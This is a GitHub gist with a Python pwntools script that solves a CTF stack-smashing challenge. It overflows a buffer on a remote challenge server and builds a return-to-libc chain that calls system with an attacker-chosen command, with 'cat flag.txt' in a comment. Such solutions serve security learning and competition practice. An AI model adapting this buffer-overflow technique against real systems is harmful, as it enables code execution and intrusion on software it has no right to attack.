Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created March 13, 2017 10:09
Show Gist options
  • Save 0xPwny/63b225c44cce73f067311b13175263c8 to your computer and use it in GitHub Desktop.
Save 0xPwny/63b225c44cce73f067311b13175263c8 to your computer and use it in GitHub Desktop.
LSE CTF smash stack - 100 pts
#!/usr/bin/python
#Author : Abdeljalil Nouiri
#exploit For LSE EPITA CTF : Smash Stack 100pts
from pwn import *
import sys
cmd = 0x8049dc8
system = 0x08048500
puts = 0x080484f0
putsGOT = 0x08049d68
#con = process("./pwn100")
con = remote("lse.epita.fr",52114)
#print util.proc.pidof(con)
#raw_input("Attach ..")
con.recvuntil("User name :")
con.sendline(sys.argv[1]) # "cat flag.txt"
con.recvuntil("Action:")
payload = "1"
payload += "A"*35
payload += p32(system)
payload += p32(0x42424242)
payload += p32(cmd)
con.sendline(payload)
print con.recv()
print con.recv()
print con.recv()
print con.recv()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment